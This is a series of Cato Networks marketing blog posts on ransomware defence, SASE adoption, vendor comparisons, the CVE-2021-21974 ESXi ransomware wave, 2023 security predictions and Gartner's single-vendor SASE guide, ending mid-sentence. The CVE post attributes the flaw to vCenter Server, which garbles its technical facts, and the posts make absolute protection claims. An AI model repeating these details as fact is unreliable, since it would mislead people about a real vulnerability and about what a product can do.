A SASE Approach to Enterprise Ransomware Protection Ransomware continues to be a prime cyber threat to organizations of all sizes. One thesis for this is that these attacks are easier and less expensive to execute than ever before, while offering very high rates of return for cybercriminals. Since the 2017 WannaCry epidemic, the ransomware industry has evolved through several stages, including: Large-Scale Campaigns: Ransomware attacks like WannaCry were designed to infect as many systems as possible. Each infection would demand a relatively small ransom, trying to make a profit via quantity over quality. Targeted Attacks: Over time, ransomware campaigns have evolved to be extremely targeted attacks against particular organizations. In-depth research allows cybercriminals to identify how to maximize their profits for each infection. Ransomware as a Service (RaaS): RaaS gangs distribute copies of their malware to affiliates for a cut of the profits of successful infections. This model increased the number of companies infected with high-quality ransomware. Double Extortion: Double extortion ransomware both steals and encrypts sensitive and valuable data on an infected system. The threat of a data leak is used to increase the probability of a ransom payment. Triple Extortion: Triple extortion expanded the impact of a ransomware attack from the infected organization to its customers. The ransomware operators demand payments from multiple organizations whose data is affected by the attack. Ransomware has proven to be a highly effective and profitable cyber threat. Cybercriminals will continue to innovate and build on their success to improve attack profitability and the probability of ransom payments. Common Attack Methods for Ransomware Attacks Cybercriminals use various methods to deploy and execute ransomware, and the following are a small sample of the most common: Vulnerability Exploits: Unpatched vulnerabilities are a very common method for delivering ransomware. By exploiting these vulnerabilities, cybercriminals can plant and execute the malware on a vulnerable system. Phishing: Phishing attacks use social engineering to trick users into downloading and executing malware on their devices. The ransomware can be attached to the message or located on a phishing site indicated by a malicious link. Compromised Credentials: User credentials can be guessed, compromised by phishing, or breached in other ways. Cybercriminals can use these credentials with the remote desktop protocol (RDP) or virtual private networks (VPNs) to access and deploy malware on systems. Malicious Downloads: Phishing sites may offer ransomware files for download. These files could masquerade as legitimate software or exploit vulnerabilities in the user’s browser to download and execute themselves. Stages of a Ransomware Attack Ransomware follows many of the same steps as other types of malware. The main stages in an attack include the following: Initial Infection: A ransomware attack starts with the malware gaining access to a target system. This can be accomplished via a variety of methods, such as phishing or the use of compromised credentials. Command and Control: Once the ransomware achieves execution, it establishes a command and control (C2) channel with its operator. This allows the ransomware to send data to and receive instructions from its operator. Lateral Movement: Ransomware rarely immediately lands on a device containing the high-value data that it plans to encrypt. After gaining a foothold on a corporate network, the malware will perform discovery and move laterally to gain the access and privileges needed to encrypt valuable and sensitive data. Data Theft and Encryption: Once it gains the required access, the malware will begin encrypting data and deleting backups. It may also exfiltrate copies of the data to its operator via its C2 channel. Ransom Note: Once data encryption has been completed, the malware will reveal its presence on the system by publishing a ransom note. If the ransom is then paid and the decryption key is provided, the ransomware would decrypt all of the files that were encrypted.

However, companies can take steps to reduce the probability of a ransomware infection, including the following: Vulnerability Management: Regular vulnerability scanning and patching can help to close the security gaps exploited to deliver ransomware. Additionally, Web Application and API Protection (WAAP) solutions can block the attempted exploitation of unpatched vulnerabilities. Email Security: Another common method of delivering ransomware and other malware is phishing. Email security solutions can identify and block messages containing malicious attachments or links to phishing pages. Multi-Factor Authentication (MFA): Compromised credentials can be used to access corporate systems and deliver malware via remote access solutions. Deploying strong MFA increases the difficulty of using compromised credentials. Web Security: Ransomware can be downloaded intentionally or unintentionally from malicious sites. A secure web gateway (SWG) can block browsing to dangerous sites and malicious downloads. Endpoint Security: Ransomware is malware that runs and encrypts files on an infected endpoint. Endpoint security solutions can identify and remediate ransomware infections. Cato’s Approach to Enterprise Ransomware Protection Using machine learning algorithms and the deep network insight of the Cato SASE Cloud, we’re able to detect and prevent the spread of ransomware across networks without having to deploy endpoint agents. Infected machines are identified and immediately isolated for remediation.  Cato has a rich multilayered malware mitigation strategy of disrupting attacks across the MITRE ATT&CK framework. Cato’s antimalware engine prevents the distribution of malware in general. Cato IPS detects anomalous behaviors used throughout the cyber kill chain. Cato also uses IPS and NextGen Anti-Malware to detect and prevent MITRE ATT&CK techniques used by common ransomware groups, which spot the attack before the impact phase. And, as part of this strategy, Cato security researchers follow the techniques used by ransomware groups, updating Cato’s defenses, and protecting enterprises against exploitation of known vulnerabilities in record time. We use heuristic algorithms specifically designed to detect and interrupt ransomware. The machine-learning heuristic algorithms inspect live SMB traffic flows for a combination of network attributes including: Blocking the delivery of known malware files. Detecting command and control traffic and attempts at lateral movement. Identifying access attempts for remote drives and folders. Monitoring time intervals, such as encrypting drives in seconds. Cato Networks provides detection and mitigation of ransomware attacks without deploying agents on endpoints. Learn more about Cato’s network-based ransomware protection.

6 Steps to SASE Adoption SASE adoption requires business and technological planning. By properly preparing for the transition, you will be able to successfully move your business-critical networking and security capabilities to a vendor-delivered service. You will also have the answers to any board and leadership questions. What does a good SASE adoption plan look like? Below we list six steps that will take you from start to finish. By following them, you can ensure a frictionless transition. (Please note that some of these steps can be executed simultaneously). For more details about each step and how to execute them, read our complete guide, here. Step 1: Preparation The first step is to understand what problems you are trying to solve. Do you want to eliminate appliances? Migrate from MPLS to secure SD-WAN? Maybe you need to secure your hybrid cloud or multi-cloud? By determining your drivers you will be able to prioritize functions, allocate the required budget and evaluate vendors and architectures. Once you have your list of use cases, map out which capabilities you need for each one. This will help you identify the right vendor for you, since capabilities vary among them. Finally, determine your required security coverage. It is recommended to choose a vendor with NGFW, SWG and NextGen anti-malware capabilities. Additional capabilities that will improve your security posture are IPS, DLP, CASB and zero-day/polymorphic threat prevention. [boxlink link="https://www.catonetworks.com/resources/how-to-adopt-sase-in-6-easy-steps/"] How to Adopt SASE in 6 Easy Steps | Download this eBook [/boxlink] Step 2: Planning and Timeline Once your use cases and required capabilities are mapped out, you can create a plan for implementing them. Adjust the plan to realistic timelines. Make sure to include considerations like contractual obligations, national holidays, how quickly you wish to deploy and the geographical dispersion of your network. Step 3: RFI/RFP Now that the groundwork is set, you can start evaluating vendors. Prepare an RFI or RFP that will help you determine which SASE provider provides the capabilities you need and at the cost you need. Step 4: Budget and Board Approval After planning, it’s also time to get leadership approval for the project. Be sure to include a complete business case that maps technical capabilities to drivers and cost savings. You can also add quantifiable metrics that are relevant to your specific business context. Step 5: PoC After slimming down your vendor list to one or two recommended ones, you can move forward with a proof of concept. Formulate a clear proof of concept plan in advance, to set clear expectations with vendors. It’s recommended to cap the PoC timeline at thirty days. Make sure your PoC has the capabilities and the presence that matter to you, including geographical locations, performance and optimization, security coverage and platform cohesiveness. Step 6: Implementation You made it! You can now move forward with your front-runner vendor and complete the purchase process. Plan the implementation together with them, since you two are partners now, working together for future success. Ready to Get Started? SASE has eliminated the need to perform expensive, time-consuming hardware refreshes, while also ensuring seamless performance, feature enhancements and daily security updates.

Strategic Roadmap to SASE

Strategic Roadmap to SASE Introduction Since Gartner introduced the Secure Access Service Edge (SASE) category in 2019, interest from enterprises has grown substantially. SASE transforms enterprise IT through the convergence of enterprise networking and network security into a single, cloud-native, service. It aims to optimize security posture, enable zero-trust access from anywhere, and reduce costs and complexity. Given its potential impact, SASE is becoming a strategic project for many organizations.   However, the widespread availability of SASE offering from different vendors and managed services providers is causing a great deal of confusion. Organizations are challenged to compare SASE feature sets and solutions and combine offering from multiple vendors - resulting in complex architectures that lead to incomplete service offerings that don’t meet needs and expectations.   Adopting SASE is an IT strategy targeted to accompany and enable rapid growth and digital transformation, not a tactic selection of a point product. As such, making the right selection is more critical than ever.  During the “2022 Strategic Roadmap to SASE” webinar, Gartner Research Vice President Neil Macdonald and Cato Networks CMO Yishay Yovel, discussed multiple aspects of SASE but most importantly reiterated the fundamental principles and expected benefits that are the basis of why SASE was introduced back in 2019.   [boxlink link="https://www.catonetworks.com/resources/inside-look-life-before-and-after-deploying-sase/?utm_medium=blog_top_cta&utm_campaign=before_and_after_sase"] An Inside Look: Life Before and After Deploying a SASE Service | Whitepaper [/boxlink] Several questions were raised during the webinar; the most interesting and relevant ones are answered below. They cover the following areas:  What business and technical benefits does SASE provide? When and how should you initiate your SASE project? How can you deploy SASE gradually into your existing infrastructure? How do different SASE architectures impact the expected business outcomes? We hope these Q&A will be able to clear up some of the confusion around SASE and SSE and help organizations make the right decisions when selecting a SASE provider. Questions  SASE market overview 1. Will SSE be replacing SASE in the short term?  No, SSE is just a stop in the journey to SASE. Today, some organizations are not yet ready to fully transition to SASE for various reasons, but they are ready to adopt SSE because they recognize the benefits in adopting cloud-delivered security services such as SWG, CASB, and ZTNA to protect their offices and remote users when accessing the public Internet. The final step in the journey will be to combine the SSE capabilities with the cloud-delivered connectivity and control services such as SD-WAN and FWaaS to complement Internet security and provide the best performances and protection when accessing corporate assets.  2. Why is the security industry generally so fragmented, and will it consolidate or splinter more in the next 5 years?  The trend is clearly towards vendor consolidation. Organizations of all sizes are looking to simplify their infrastructure and operations to become more agile. They are favoring vendors that can combine multiple security and networking functionalities in a single platform, rather than best of breed solutions. This is confirmed by a recent Gartner survey that showed that 75% of organizations are pursuing security vendor consolidation and rising to 90% by Year End 2022. That’s a stunning increase if we compare to just 29% back in 2020.  3. What are the upcoming changes in SASE that experts foresee?  SASE is calling for vendor consolidation. Gartner, in its latest report "Market Guide for Single-Vendor SASE", has explicitly restated the need to unify all SASE capabilities into ideally one single vendor or at best into two vendors that must be fully integrated. We expect a limited list of vendors to stand out in the SASE market leadership and we expect companies to accelerate their initiatives towards network and security cloud-based services to reduce infrastructure complexity, optimize their CAPEX and OPEX and better control security across all their data, users and applications.  4. What techniques work best on informing senior leadership; assisting them with understanding, approving, and adopting a SASE technology?  When talking to senior leadsership about the value of SASE, put the emphasis on the benefits that a SASE approach brings to companies in their digital transformation journey:  Simplicity - by reducing infrastructure complexity   Productivity - by providing an improved and consistent user experience  Efficiency - by reducing the overall infrastructure budget  Agility - shifting network and security skills from managing boxes to policies supporting the digital workplace  SASE Migration and adoption 5. What pre-requisites and steps are needed to transition successfully to a sustainable SASE?  Break down the organizational silos – network and security teams must work in concert in the name of speed, agility and reduction of complexity Choose a SASE vendor that meets the SASE architectural requirements (cloud-native, converged, global & support for all edges) Map future HW and SW refresh to the SASE vendor capabilities Plan the transition project to start with low-risk areas to minimize friction 6. What components of SASE will be important in the SMB market now and in the next 5 years? ZTNA? CASB? SD-WAN? SMB?  Aside from the specific SASE features (which of course are important and depend on the specific business case), SMBs, probably more than any other organization, will look to adopt SASE solutions that provide the following characteristics and benefits:  Operational simplicity  High automation   Flexibility   Reliability  These characteristics are typically delivered by cloud-native SASE vendors that offer an "As-a-Service" approach to networking and security.  7. Do you have a blueprint or reference architecture for an 80% cloud, 20% on-prem environment with multiple SaaS applications?  Regarding the 80/20 split, this is just marketing. Every enterprise is different, and so is every vendor. At Cato, we believe we should deliver as much as we can from the cloud and as little as we can from on-prem. Our 1500+ customers agree with us.   Cato SASE vs other SASE solutions 8. Which are the main benefits of the Cato SASE solution compared to a managed SASE offered by a Telco?    A Telco managed SASE service is normally a conglomeration of point solutions wrapped around a telco managed blanket. Some customers may consider this "black-box" approach but be wary of the following:  They can't move as fast as a modern digital business requires. Everything is managed through tickets, and involves multiple staff members due to the complexity of the underlying solutions architecture They can't offer a future-proof solution. They are dependent on their vendors' roadmap, and usually are last to apply updates and enhancements due to the complexity and risk of downtime. The bottom line is that, unless they manage a real SASE architecture underneath, they are simply not the right fit for the needs of modern, digital enterprises.  9. How is Cato SASE a better value than Netskope SASE?   Enterprises today are looking to consolidate services as much as possible realizing it will improve simplicity, agility, efficiency, and productivity. Netskope offers one point product (SWG+CASB) focused on internet and cloud security, another point product (NPA) focused on ZTNA, and they recently acquired a very small SD-WAN company (Infiot) for their SD-WAN technology.  While Cato and Netskope share the common vision of a SASE solution delivered as a Service from the cloud, the main difference is in the architecture design. While the Cato architecture has been built from the ground up with a converged approach with networking and security services delivered from a single home-grown software stack, Netskope started as a CASB/DLP solution and has later expanded its services portfolio by integrating multiple point solutions together because of several acquisitions, the last one being a small SDWAN provider called Infiot acquired in August 2022. Stitching point solutions together, even if done in the cloud, still poses questions on how these services can seamlessly scale and how much time it will take, for example, to get the SD-WAN technology fully integrated in the Netskope product suite, or to lift their FWaaS engine to an acceptable level to protect the East-West traffic.   In essence, whilst Netskope has a strong SSE proposition, their complete SASE offering is still not fully baked.       If you are looking for simplicity, agility, efficiency, and productivity today, and not in 2-3 years, Cato is the best solution.  10. What incentive would a business have to switch from Fortinet to SASE via Cato?  Improved productivity - Cato can help you optimize application performance and user experience. The Cato SASE Cloud has a global private backbone which minimizes the exposure of network traffic to the unpredictable and unreliable internet Improved efficiency - By moving from on-premise appliances to a cloud-native solution, procurement, management, and maintenance cost are dramatically reduced. Team members are freed to focus on business needs and outcomes instead of maintenance and support. Improved agility - Whether tomorrow’s need will be additional security capabilities, business expansion, cloud migration or a new balance between office and remote work, a cloud-native network and security infrastructure allows you to meet new business requirements much faster than appliance-based infrastructure that mandates complex planning, sizing, procurement, deployment, integration, and maintenance. Cato SASE business value 11. How will SASE have an impact on our existing infrastructure?  SASE has many capabilities that can augment your existing infrastructure today and replace it tomorrow to make your infrastructure more agile, secure, and efficient. For example, you can use a global private backbone to augment SD-WAN with a reliable global transport. You can offload internet security from your resource-constrained on-prem firewalls to an unlimited cloud-delivered security. You can also enable more users to work from remote without adding more VPN servers and without compromising on security or productivity.  12. Are you able to advise on any effort that Cato may have invested in reassuring potential Financial Service customers that the solution meets regulatory requirements?  Cato customers, including those from the financial services sector, all rely on us for their mission critical network and network security. To get their trust, we work continuously to make sure our enterprise network and our cloud service adhere to the highest security standards such as ISO, SOC, GDPR and others. Please see here for more details.  13. Are there any statistics or case studies that show typical cost savings achieved through migration from legacy networks and security to the Cato SASE solution?  Cato commissioned Forrester to run a survey across Cato Networks customers to quantify the benefits these customers have achieved in adopting the Cato SASE solution. The Total Economic Impact (TEI) report shows a stunning ROI of more than 240% when looking at the following benefits: Reduced operation and maintenance Reduced time to configure Retired legacy systems (on-prem FW, SD-WAN) The TEI document can be downloaded from here. Cato SASE capabilities 14. Is it possible to implement the SASE architecture in countries such as: Spain, Italy, Colombia, Chile, Mexico and Venezuela?  If the SASE architecture is cloud-native, there are no limits to where it can be implemented. The implementation and availability are the responsibility of the SASE vendor. As a customer, you should focus on making sure there are SASE PoPs available withing 25ms round trip time from your users, branches, and datacenters. Cato’s SASE backbone consists of more than 75 POPs around the world with presence in all five continents, including China. New POPs are added on a quarterly basis to guarantee our customers a guaranteed minimum latency. More information can be found here. 15. Is Cato able to connect to other Next-gen firewalls through an IPsec / VPN tunnel?  Cato allows third party devices to connect to the Cato SASE cloud by means of an IPsec tunnel. A potential use case could be to leverage an existing NGFW for East-West traffic in the local premises and use the Cato Cloud to provide secure internet connectivity and East-West traffic protection for geographical sites.  16. Is it possible to interconnect two components of SASE from different vendors (e.g., Cato SASE to Cisco Viptela SD-WAN)?  Cato allows third party devices to connect to the Cato SASE cloud by means of an IPsec tunnel. Third party SDWAN devices will provide reliable connectivity to the Cato SASE cloud, once the traffic lands into one of our POPs, Cato handles security and middle-mile connectivity via the Cato private backbone.  17. How is security as a service, which is part of SASE, received by customers who have stringent compliance requirements like PCI-DSS / HIPPA etc.?  Organizations that are planning to migrate their network and security stack to the cloud must ensure they’re partnering with trusted providers who maintain the necessary levels of safeguarding and discipline of their own service security. The enterprise must evaluate the SASE vendor and make sure they adhere to the highest industry standards. Cato SASE services have received ISO27000, GDPR, SOC1, SOC2, SOC3 certifications. And with the Cato CASB solution, enterprises can configure their application control policies so that only applications which are compliant with PCI-DSS and/or HIPAA are authorized.    

The Resurrection of CVE-2021-21974: The Ransomware Attack on VMware ESXI Hypervisors that Doesn’t Seem to Go Away

The Resurrection of CVE-2021-21974: The Ransomware Attack on VMware ESXI Hypervisors that Doesn’t Seem to Go Away An old vulnerability has recently been making waves in the world of cybersecurity, and that is the catchily named CVE-2021-21974. The ransomware attack that exploits a vulnerability in VMware ESXi hypervisors, has reportedly hit over 500 machines this past weekend. Shodan data indicates that many servers were initially hosted in the OVHcloud, but the blast radius appears to be constantly expanding.   So serious is the outbreak that it has  gained the attention of CERT-FR (the French government center for monitoring, alerting and responding to computer attacks), which has issued an advisory warning of the vulnerability. This is the first advisory of 2023, only proceeded by a Fortinet SSL-VPN issue which was announced in December 2022.  But the biggest problem is that the CVE was originally issued two years ago when researchers at Trend Micro discovered and reported the vulnerability to VMware! That’s two years where organizations didn’t patch and upgrade their servers to mitigate against this vulnerability.   Why is CVE-2021-21974 a concern? The researchers discovered that vCenter Server, the centralized management platform for VMware, was susceptible to an attacker executing arbitrary code with privileged levels of access. The vCenter Server is the beating heart of a company’s virtual infrastructure. It’s the place where administrators go to manage virtual machines, networks, storage, and more.   By exploiting this vulnerability, an attacker could potentially gain access to sensitive information, disrupt operations, and cause significant damage to an organization's virtual infrastructure. While VMware took steps to address this exploit, it required manual intervention on behalf of administrators to install and deploy the fix.  How does this exploit work, and how can you stay protected?  This exploit follows the traditional hallmarks of the ransomware attack chain. Let’s walk through what that looks like for enterprises with and without Cato:   Step 1) Initial access  Without Cato:  Legacy networks provide users with access to the complete network. As such, attackers have a wide range of attack vectors to gain initial access to the network and then to move laterally and attack the VMware vCenter Server. Vectors include phishing attacks, network intrusion, or exploitation of another vulnerability.   With Cato: Cato implements a zero-trust access model, which restricts a user’s resource access and decreases the attack surfaces. It’s no longer sufficient for attackers to gain initial access to the network. They must gain access to a user or machine with access to vCenter vServer. Cato’s ZTNA includes constant device and user assessment, user access control and posture checks to ensure that initial access is not possible. If someone attempts to click on a phishing link, Cato’s SWG and FWaaS can detect, block, and log this connection – ensuring that your perimeter always remains secure.  Step 2) Exploitation  Without Cato:  The attacker exploits the vulnerability in the vCenter Server by sending a specially crafted request to the server. This request contains malicious code that the attacker wants to execute on the vCenter Server. Sometimes this is done via vulnerability chaining (using one vulnerability to expose another), while other times you just focus on a single exploit.  With Cato:  Should an attacker gain access to a machine with access to the vCenter vServer, exploiting the vulnerability will still be impossible. Our security engines, including our IPS, identify and block the malicious code before the server can even be compromised. To be clear, even though the server has not yet been patched and, in theory, would be vulnerable, Cato mitigates the attack surface area without you having to do anything. And, yes, Cato does protect against CVE-2021-21974. We have for years.  Step 3) Code execution:  Without Cato: Upon receiving the request, the vCenter Server processes the request, which then causes the malicious code to be executed on the server. This allows the attacker to execute arbitrary code with the privileges of the vCenter Server  With Cato:  This phase is bypassed, as we have blocked the attacker from gaining access to the network, as well as blocking any malicious traffic. In the rogue event that a machine was compromised with ransomware while not being protected by Cato, our converged security solutions would prevent the lateral movement of malware throughout your network (north/south and east/west) while also providing an insight into this risk within the Cato Management Application.  Step 4) Data theft or disruption  Without Cato:  The attacker can now access sensitive information stored on the vCenter Server or disrupt operations within the virtual infrastructure. The attacker could potentially steal sensitive information, disrupt virtual machines, deploy ransomware or even completely shut down the virtual infrastructure.  With Cato:  Information is secure as Cato has stopped every step of the attack lifecycle prior to this stage. However, if someone has compromised a device in a way that hasn’t been caught, Cato’s DLP capabilities will prevent exfiltration and theft of sensitive information.   [boxlink link="https://www.catonetworks.com/rapid-cve-mitigation/"] Rapid CVE Mitigation by Cato Security Research | See Selected Critical CVEs [/boxlink] What’s your choice?  This CVE is one of thousands which appear in the cybersecurity landscape every week, against hundreds of vendors. If you’re a network or security practitioner who’s responsible for managing a large stack of servers, which option would you choose to ensure your network doesn’t get breached?  Do you want to spend a large portion of your life chasing patches and securing vulnerabilities, deploying packages and making sure every hole of your leaking ship has been plugged?  Or should you adopt a converged stance for networking and security, and allow Cato Networks to protect you at each step of the attack cycle with minimal involvement required?  I know which option I would want....  To learn more about CVE-2021-21974 and other goodies, check out this episode of CyberTalk, our video series dedicated to raising cybersecurity awareness everywhere. 

The Future of Network Security: Cybersecurity Predictions for 2023 & Beyond

With the increased of cloud adoption has come an expansion of the corporate digital attack surface. Cyber criminals are constantly evolving their tools and techniques,...
The Future of Network Security: Cybersecurity Predictions for 2023 & Beyond With the increased of cloud adoption has come an expansion of the corporate digital attack surface. Cyber criminals are constantly evolving their tools and techniques, creating new threats, and pushing organizations to the brink.  As new trends emerge in both cyber attacks and defenses every year, we have decided to list our predictions for the top network security trends of 2023 and beyond. #1. Zero Trust Becomes the Starting Point for Security The goal of zero trust is to eliminate the main culprits of data breaches and other security incidents: implicit trust and excessive permissions. These play a major role in many cyberattacks as cyber criminals gain access to an organization’s network and systems, and expand that reach to exploit resources. Eliminating blind trust and limiting access with the least priviliges necessary to maintain productivity, makes this harder for an attacker to achieve. Zero trust has gained more momentum in recent years and have become a realistic security focus. An effective zero trust strategy defines granular policies, enforces appropriate access permissions, and delivers more granular control of users on your network. An effective Zero Trust strategy will protect organizations against many cyber threats, but it is far from a comprehensive solution. Ideally, companies will start with zero trust and then add additional controls to build a fully mature security program. Zero Trust is a journey, so having the right strategy will help smooth and expedite this journey, allowing it to move from a security goal to a security reality.  #2. Security Simplification Picks Up Steam Every organization’s IT infrastructure and cybersecurity threat landscape is different; however, most companies will face similar challenges. Cyber criminals are more adept at targeting and exploiting weaknesses in networks and applications. SOC analysts suffer from alert overload due to high volumes of false positives. And the expansion of complex, multi-cloud environments introduce new security challenges and increased attack vectors. Addressing these threats with an array of standalone products is unproductive, unscalable and is an ineffective approach to network security. As a result, companies will increasingly adopt security platforms that offer a converged set of security capabilities in a single architecture, enabling security teams to more effectively secure and protect complex infrastructures. #3. Faster Adoption of SASE Digital Transformation is forcing corporate networks to more rapidly evolve away from the complex, inflexible architectures of the past. Cloud adoption, work from anywhere (WFA), BYOD policies, and mobile devices are all making the corporate networking environment more complex and challenging to manage, optimize, secure and scale. Additionally, legacy perimeter-based security architectures have become unsustainable, forcing organizations to decide between reliable network connectivity and complete in-depth security.  As a result, companies will more quickly adopt solutions designed specifically for these modern networks. Such modern networks require a converged, cloud-delivered architecture that is reliable and resilient and grows as their business grows; This can only be achieved with Secure Access Service Edge (SASE). #4. Expansion of Targeted Ransomware Attacks Ransomware has proven to be an extremely profitable enterprise for cyber criminals. The secrets sauce of ransomware success is the in-depth research on attack targets - identifying the best attack vector, the most valued resources to attack, and the maximum amount a victim might be willing to pay. So considering that some countries are already in recession and many organizations are pressing to optimmize costs to remain profitable, cyber criminals will identify the weaker, more vulnerable targets and push them to the edge.  In recent years, we have seen healthcare, financial service, and more recently, manufacturing as prime targets for ransomware attacks. We expect to see these and more as attacks expand, exponentially, in 2023 and beyond. [boxlink link="https://www.catonetworks.com/resources/sase-vs-the-upside-down-world-of-networking-and-security/"] SASE vs. the Upside Down World of Networking and Security | Download the eBook [/boxlink] #5. Growing Importance of API Security Modern applications are designed around APIs, and as such, application security practices depend, tremendously, on API security practices. APIs are designed to allow other programs to automatically request or submit data or perform other actions. The design of APIs makes them an ideal target for certain types of automated attacks such as credential stuffing, vulnerability scanning, distributed denial-of-service (DDoS) attacks, and others. As cybercriminals increasingly target these APIs, implementing defenses against API-specific attack vectors becomes more crucial for business success. #6. IoT Will See More Cyberattacks Internet of Things (IoT) devices are experiencing tremendous growth. The expansion of 5G networks provides fast, high-performance network connectivity, making it possible to deploy these devices everywhere. As these devices mature, they will increasingly be used to collect, process, and store sensitive business data. However, these devices, while increasingly valuable to many organizations, are at high risk for attack or compromise. A huge threat to IoT devices is that they are always available, making them ideal targets continuous attacks. Often, these devices have weak passwords, unpatched vulnerabilities, and other security issues. As they are increasingly deployed on corporate networks and entrusted with sensitive and valuable data, cyberattacks against them will continue to increase. #7. Cyberattacks Will Increasingly Become Uninsurable Cybersecurity insurance is one of the primary ways that organizations manage cybersecurity risk. For some it has also become their default cybersecurity strategy. When these companies suffer a ransomware attack, they expect their insurance provider to pay all costs, including the ransom and the costs of recovery and notifications. However, the surge in expensive ransomware attacks has caused some insurance providers to explore options in their coverage schemes. This includes placing more requirements on customers to demonstrate improved cyber defenses and compliance with security standards as conditions for acquiring and maintaining an insurance policy. The end result may be limiting coverage parameters, and if attacks continue to grow more common and expensive — which they likely will — eliminating coverage all together.  #8. Cyber Resilience Becomes an Executive Priority Cybercriminals are increasingly moving toward attacks focused on business disruption. Ransomware attacks deny access to critical company resources. Other notable attacks render corporate systems inaccessible to legitimate users. As a result, companies are compromised as cybercriminals threaten their ability to operate and maintain profitability. The growing threat of cyberattacks to the business will make cyber resilience a priority for C-level executives. If cyberattacks can bring down the business, investing in preventive solutions that can manage or mitigate these risks makes good strategic and financial sense.

How SASE is Transforming the Manufacturing Industry The manufacturing industry is constantly evolving. The revolution known as Industry 4.0 is introducing new technologies and innovations that are accelerating digitization and improving efficiency and productivity. One of these new innovations technologies is SASE (Secure Access Service Edge). What is SASE? SASE is an enterprise networking and security category that converges network and security technologies into a single, cloud-native service. Converged functionalities include SD-WAN, Zero Trust Network Access (ZTNA), firewall-as-a-service (FWaaS), cloud-access security broker (CASB), DLP and secure web gateway (SWG). SASE reduces the risk of cybersecurity breaches and enables global access to applications and systems. It also provides enterprises and plants with the ability to remove the cost and overhead incurred when maintaining complex and fragmented infrastructure made of point solutions. As a result, SASE is gaining momentum across multiple industries, including manufacturing.  [boxlink link="https://catonetworks.easywebinar.live/registration-sase-value-and-promise-in-manufacturing"] SASE’s Value in Manufacturing | Go to Webinar [/boxlink] How Manufacturers Benefit from SASE Manufacturers can replace their legacy networking solutions, like MPLS, with SASE, to benefit from the capabilities SASE provides. Main benefits include: Global connectivity: SASE provides the ability to securely connect tens of thousands of employees across dozens of plants around the globe to SaaS and on-premises applications. SASE can connect any network: the internet, MPLS, cellular networks and more. Remote access: SASE supports the shift of workers to home offices by enabling a hybrid work environment. Cloud connectivity: SASE enables users to access any production applications that migrated from on-prem to the cloud, while still supporting on-premises infrastructure. Flexibility: SASE provides the infrastructure that enables producing innovative new products and reinventing outdated manufacturing processes. Speed and performance: SASE enables manufacturers to increase bandwidth. Some manufacturers have been able to achieve 3x their previous WAN bandwidth. Cost reduction: Some manufacturers have saved up to 30% annually by transitioning to SASE. In addition, SASE frees up employees to focus more on strategic projects that can benefit the business. Smooth transition: SASE can be deployed quickly which makes the process nearly hassle-free. Improved user experience and collaboration: SASE improves employee satisfaction and productivity by enhancing connectivity speed and performance. Enhanced security: SASE enables faster detection, identification, response and remediation of cybersecurity incidents. Spotlight: O-I Glass O-I Glass, an Ohio-based glass bottles manufacturer, deployed Cato’s SASE Cloud solution as a replacement to their previous MPLS solution. By transitioning to SASE, O-I Glass was able to provide faster, more secure and higher performing access to their 25,000 employees spread across 70 plants in 19 countries. SASE also supports their employees’ secure connectivity when they work from home. The transition itself took six months and the estimated cost savings are 20% to 30% compared to their previous solutions. By implementing SASE, O-I Glass was also able to deploy innovative methods for improving the manufacturing process. They introduced HoloLens, the Microsoft augmented reality/mixed reality system. These headsets are helping their engineers collaborate. When wearing them, engineers located in different continents can see what the other is seeing, without requiring trans-atlantic flights. Before SASE, their infrastructure could not support such use. In addition, SASE supports their future plans for a modular glass production line as well as plans for plant maintenance and training.

Gartner’s Market Guide to Single-Vendor SASE Offerings: The Closest Thing You’ll Get to a SASE Magic Quadrant

Gartner’s Market Guide to Single-Vendor SASE Offerings: The Closest Thing You’ll Get to a SASE Magic Quadrant Ever since Secure Access Service Edge (SASE) was adopted by every significant networking provider and network security vendor, IT leaders have been waiting for a Gartner SASE Magic Quadrant. And for good reason. The industry has seen widely different approaches to what’s being marketed as SASE. Some companies partnered with each other to offer a joint solution with slightly integrated products. For example, Zscaler and any number of SD-WAN partners. Others simply rebranded their existing solutions as SASE. Think VMware SD-WAN (previously VeloCloud) turning into VMware SASE. Market consolidation has brought together still other companies with disparate services requiring years’ worth of integration. As an example, consider HPE, Aruba and Silver Peak and the integration work ahead of them to make a cohesive SASE product. Meanwhile, we at Cato Networks chose a different path: to build a fully converged, global networking and security solution from the ground up. Gartner calls this “single-vendor SASE.” A SASE Magic Quadrant would clear up the confusion in the industry and separate the leaders from losers. But while Gartner may not yet be ready to issue a SASE Magic Quadrant, the firm has issued the next best thing -- Market Guide for Single-Vendor SASE. The report takes a close look at the SASE market and specifically at single-vendor SASE. The Single-Vendor SASE Market is Projected to Grow Substantially Gartner defines a single-vendor SASE offering as one that delivers converged network and security as-a-service capabilities using a cloud-centric architecture. Cato is the prototypical single-vendor SASE leader. Example services that are part of a single-vendor SASE offering are SD-WAN, SWG, FWaaS, ZTNA, and CASB. All of those service, and this is key, are fully converged together in the underlying architecture, service delivery, and management interface. They truly are one cloud service, which is what separate single-vendor SASE from other approaches.  These converged services might also be the full roster of capabilities for the newest single-vendor SASE entries but they are only the starting point for Cato. In addition to those services, Cato also offers a global private backbone, data loss prevention (DLP), rapid CVE mitigation, managed threat detection and response, SaaS optimization, UC and UCaaS optimization, and a range of other capabilities.  According to Gartner, there should be rapid growth in single-vendor SASE implementation in the next few years. While only 10% of deployments were single-vendor SASE solution last year, Gartner expects a third of all new SASE deployments by 2025 to be single-vendor. By the same timeframe, half the new SD-WAN purchases will be part of a single-vendor SASE offering. The market’s growth is largely being driven by the desire for simplicity by reducing the number of deployed solutions and vendors. Of course, reducing complexity while still offering enterprise-class capabilities is something Cato has been delivering for years.  [boxlink link="https://www.catonetworks.com/resources/gartner-market-guide-for-single-vendor-sase/?utm_medium=blog_top_cta&utm_campaign=gartner_single_vendor_sase"] Gartner® Market Guide for Single-Vendor SASE | Report [/boxlink] Cato Was Ahead of Its Time in This “Adolescent” Market  “A single-vendor SASE must own or directly control (OEM, not service chain with a partner) each of the capabilities in the core category,” according to the report authors. A “well-architected” solution must have all services fully integrated, a single unified management plane and a single security policy, a unified and scalable software-based architecture, and flexibility and ease of use. The report lists core functional requirements in each of the areas of secure web gateway, cloud access security broker, zero trust network access, and software-defined WAN. Gartner points out that there are several vendors in the “adolescent” industry that meet the analyst firm’s minimum requirements. There are more, still, that come close but aren’t quite there with their offerings. Because single-vendor SASE brings together networking and security into one solution with many functions, Gartner recommends that a joint team of network professionals and security experts be appointed to evaluate the solutions based on the organization’s foremost needs. Single-Vendor SASE Has Lots of Benefits The benefits of single-vendor SASE are many. Gartner cites the following as reasons to go this route for a SASE solution:  An improved security posture for the organization – This is based on reduced complexity of the various security 